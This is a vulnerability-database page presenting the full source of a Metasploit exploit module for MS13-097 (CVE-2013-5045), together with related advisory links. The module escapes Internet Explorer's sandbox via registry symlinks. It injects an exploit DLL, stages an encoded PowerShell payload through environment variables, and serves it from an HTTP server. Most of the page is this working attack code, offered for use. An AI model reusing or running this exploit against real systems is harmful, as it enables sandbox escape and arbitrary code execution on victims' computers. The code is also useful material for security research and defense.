Lucene search
+L

MS13-097 Registry Symlink IE Sandbox Escape

🗓️ 10 Dec 2013 00:00:00Reported by James Forshaw, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 48 Views

MS13-097 Registry Symlink IE Sandbox Escape. Vulnerability in IE Sandbox allows code execution with Medium Integrity by exploiting registry symlinks to bypass Enhanced Protected Mode. Discovered by James Forshaw and Juan Vazquez

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
MS13-097 Registry Symlink IE Sandbox Escape Exploit
27 Jun 201400:00
zdt
circl
Circl
CVE-2013-5045
27 Jun 201400:00
circl
cve
CVE
CVE-2013-5045
11 Dec 201300:00
cve
cvelist
Cvelist
CVE-2013-5045
11 Dec 201300:00
cvelist
exploitdb
Exploit DB
Microsoft Registry Symlink - IE Sandbox Escape (MS13-097) (Metasploit)
27 Jun 201400:00
exploitdb
mskb
Microsoft KB
MS13-097: Cumulative security update for Internet Explorer: December 10, 2013
10 Dec 201300:00
mskb
nvd
NVD
CVE-2013-5045
11 Dec 201300:55
nvd
openvas
OpenVAS
Microsoft Internet Explorer Multiple Vulnerabilities (2898785)
11 Dec 201300:00
openvas
packetstorm
Packet Storm
MS13-097 Registry Symlink IE Sandbox Escape
27 Jun 201400:00
packetstorm
prion
Prion
Privilege escalation
11 Dec 201300:55
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Post::Windows::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
        'Description'	=> %q{
          This module exploits a vulnerability in Internet Explorer Sandbox which allows to
          escape the Enhanced Protected Mode and execute code with Medium Integrity. The
          vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
          component, which can be abused to force medium integrity IE to user influenced keys.
          By using registry symlinks it's possible force IE to add a policy entry in the registry
          and finally bypass Enhanced Protected Mode.
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'James Forshaw', # Vulnerability Discovery and original exploit code
          'juan vazquez' # metasploit module
        ],
        'Platform'	=> [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          [ 'IE 8 - 11', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-12-10',
        'References' => [
          ['CVE', '2013-5045'],
          ['MSB', 'MS13-097'],
          ['BID', '64115'],
          ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_loadlib
              stdapi_railgun_api
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
      ]
    )
  end

  def exploit
    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

    mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
    if mod_handle['return'] == 0
      fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
    end

    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
    end

    begin
      Timeout.timeout(datastore['DELAY']) { super }
    rescue Timeout::Error
    end

    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
  end

  def primer
    cmd = cmd_psh_payload(payload.encoded,
                          payload_instance.arch.first,
                          {
                            :remove_comspec => true
                          })

    cmd.gsub!('powershell.exe ', '')
    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)

    html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)

    temp = get_env('TEMP')

    print_status("Loading Exploit Library...")

    session.core.load_library(
      'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
      'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
      'UploadLibrary' => true,
      'Extension' => false,
      'SaveToDisk' => false
    )
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.html$/
      print_status("Sending window close html...")
      close_html = <<~eos
        <html>
        <body>
        <script>
        window.open('', '_self', '');
        window.close();
        </script>
        </body>
        </html>
      eos
      send_response(cli, close_html, { 'Content-Type' => 'text/html' })
    else
      send_not_found(cli)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation